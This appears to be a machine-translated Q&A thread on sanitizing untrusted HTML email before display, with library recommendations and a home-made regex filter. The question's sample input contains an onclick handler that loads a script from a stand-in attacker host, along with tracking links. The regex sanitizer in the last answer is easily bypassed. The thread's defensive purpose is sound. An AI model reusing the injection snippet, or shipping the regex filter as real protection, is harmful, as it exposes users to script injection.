首页 文章

在保留基本格式的同时,我可以使用什么来清理收到的HTML?

提问于
浏览
30

这是一个常见的问题,我希望它已经彻底解决了我 .

在我正在为客户端做的系统中,我们希望从不受信任的来源(HTML格式的电子邮件和HTML文件)接受HTML,清理它以使其没有任何脚本,指向外部资源的链接以及其他安全性/等等问题;然后安全地显示它,同时不丢失基本格式 . 例如,就像电子邮件客户端使用HTML格式的电子邮件一样,但理想情况下不会重复在该领域中已经发生的347,821错误(到目前为止) . :-)

我们的目标是通过我们自己的网络界面中的 iframe 或通过.Net Windows窗体应用程序中的WebBrowser class(这似乎不安全,可能更少),向内部用户显示我感觉很舒服的内容,以下示例 .

我们认识到其中一些可能会破坏文本的显示;没关系 .

我们将在接收时清理HTML并存储已清理的版本(不要覆盖这一点) .

该软件需要在Windows Server上运行 . COM DLL或.Net程序集首选 . FOSS显然是首选,但不是交易破坏者 .

到目前为止我发现了什么:

你会为这项任务推荐什么?以上之一?别的什么?


例如,我们想删除以下内容:

  • script 个元素

  • linkimg ,以及与外部资源相关的此类元素(可能会将 img 替换为文本"[image removed]"或某些此类内容)

  • embedobjectappletaudiovideo 以及其他尝试创建对象的标记

  • onclick 和类似的DOM0事件处理程序脚本代码
    259 href 在触发代码的 a 元素上(即使是我们认为可以使用的链接,我们很可能会变成用户必须有意复制并粘贴到浏览器中的明文) .

  • __________(我想要利用已经存在的东西的722件事情)

例如,这个HTML:

<!DOCTYPE html>
<html>
<head>
<title>Example</title>
<link rel="stylesheet" type="text/css" href="http://evil.example.com/tracker.css">
</head>
<body>
<p onclick="(function() { var s = document.createElement('script'); s.src = 'http://evil.example.com/scriptattack.js'; document.body.appendChild(s);)();">
<strong>Hi there!</strong> Here's my nefarious tracker image:
<img src='http://evil.example.com/xparent.gif'>
</p>
</body>
</html>

会成为

<!DOCTYPE html>
<html>
<head>
<title>Example</title>
</head>
<body>
<p>
<strong>Hi there!</strong> Here's my nefarious tracker image:
[image removed]
</p>
</body>
</html>

(注意我们完全删除了 linkonclick ,并用占位符替换了 img . 这只是我们想要剥离的一小部分 . )

5 回答

  • 0

    这是一个较旧但仍然相关的问题 .

    我们正在使用HtmlSanitizer .Net库,其中:

    同样在NuGet

  • 2

    我感觉你肯定需要一个可以生成XML / DOM源的解析器,这样你就可以在它上面应用fiter来生成你想要的东西 .

    查看HtmlTidyMozillaHtmlCleaner解析器是否有帮助 . HtmlCleaner有很多configurable options,您可能也想看一下 . 特别是transform section,它允许您跳过不需要的标签 .

  • 3

    我建议看http://htmlpurifier.org/ . 他们的图书馆非常完整 .

  • 1

    我建议使用另一种方法 . 如果您控制查看HTML的方法,我将使用没有ECMA脚本引擎或任何XSS功能的HTML呈现来删除所有威胁 . 我发现你将使用内置的WebBrowser对象,这是正确的,你想要生成不能用来攻击用户的HTML .

    我建议寻找一个基本的HTML显示引擎 . 一个无法解析或理解任何会使您易受攻击的脚本功能的人 . 那么所有的javascript都会被忽略 .

    这确实有另一个问题 . 您需要确保您使用的查看器不容易受到其他类型的攻击 .

  • 1

    有趣的问题,我花了一些时间来面对它,因为我们想要从用户中删除很多东西imput,即使我做了很多要删除的事情,后者在HTML上也会发展,我的列表会有一些漏洞 . 尽管如此,我希望用户输入一些简单的东西,如粗体,斜体,段落......简单 . 毫无疑问,允许的事物列表更短,html可以改变后者,除非html停止支持这些简单的事情,否则不会在我的列表上打洞 . 所以开始另外思考,说出你允许的内容,非常痛苦,因为我不是正则表达式的专家(所以请一些正则表达式的人在这里纠正我或改进)我在HTML5到达之前编码了这个表达式及其工作形式 .

    replace(/(?!<[/]?(b|i|p|br)(\s[^<]*>|[/]>|>))<[^>]*>/gi,"")
    

    (b | i | p | br)< - 这是允许的标签列表,随意添加一些 .

    这是一个起点,这就是为什么一些正则表达式的人应该改进以删除属性,如onclick

    如果我这样做:

    (?!<[/]?(b|i|p|br)(\s*>|[/]>|>))<[^>]*>
    

    带有onclick或其他东西的标签将被删除,但相应的结束标签将保留,毕竟我们不希望删除这些标签,我们只想删除标签属性 .

    也许第二次正则表达式传递

    (?!<[^<>\s]+)\s[^</>]+(?=[/>])
    

    我对吗?这可以组成一个通行证吗?

    我们仍然没有标签之间的关系(打开/关闭),到目前为止还没什么大不了的 . 可以写入属性remove来删除所有不是白名单吗? (可能是的) .

    最后一个问题..当删除像 script 这样的标签时,内容仍然存在,当删除 font 时它是理想的,但不是 script ,我们可以做第一遍

    <(script|object|embed)[^>]*>.*</\1>
    

    这将删除某些标签及其内容..但它是一个黑名单,这意味着你必须留意它,以防html改变 .

    注意:全部带“gi”

    编辑:

    在此功能上加入了以上所有内容

    String.prototype.sanitizeHTML=function (white,black) {
       if (!white) white="b|i|p|br";//allowed tags
       if (!black) black="script|object|embed";//complete remove tags
       e=new RegExp("(<("+black+")[^>]*>.*</\\2>|(?!<[/]?("+white+")(\\s[^<]*>|[/]>|>))<[^<>]*>|(?!<[^<>\\s]+)\\s[^</>]+(?=[/>]))", "gi");
       return this.replace(e,"");
    }
    
    • 黑名单 - >完整删除标签和内容 - 白名单 - >保留标签删除其他标签但保留标签内容白名单标签的所有属性(其余标签)被删除

    仍然有一个白色的属性列表的地方(上面没有实现),因为如果我想保留IMG,那么src必须保持......那么跟踪图像呢?

相关问题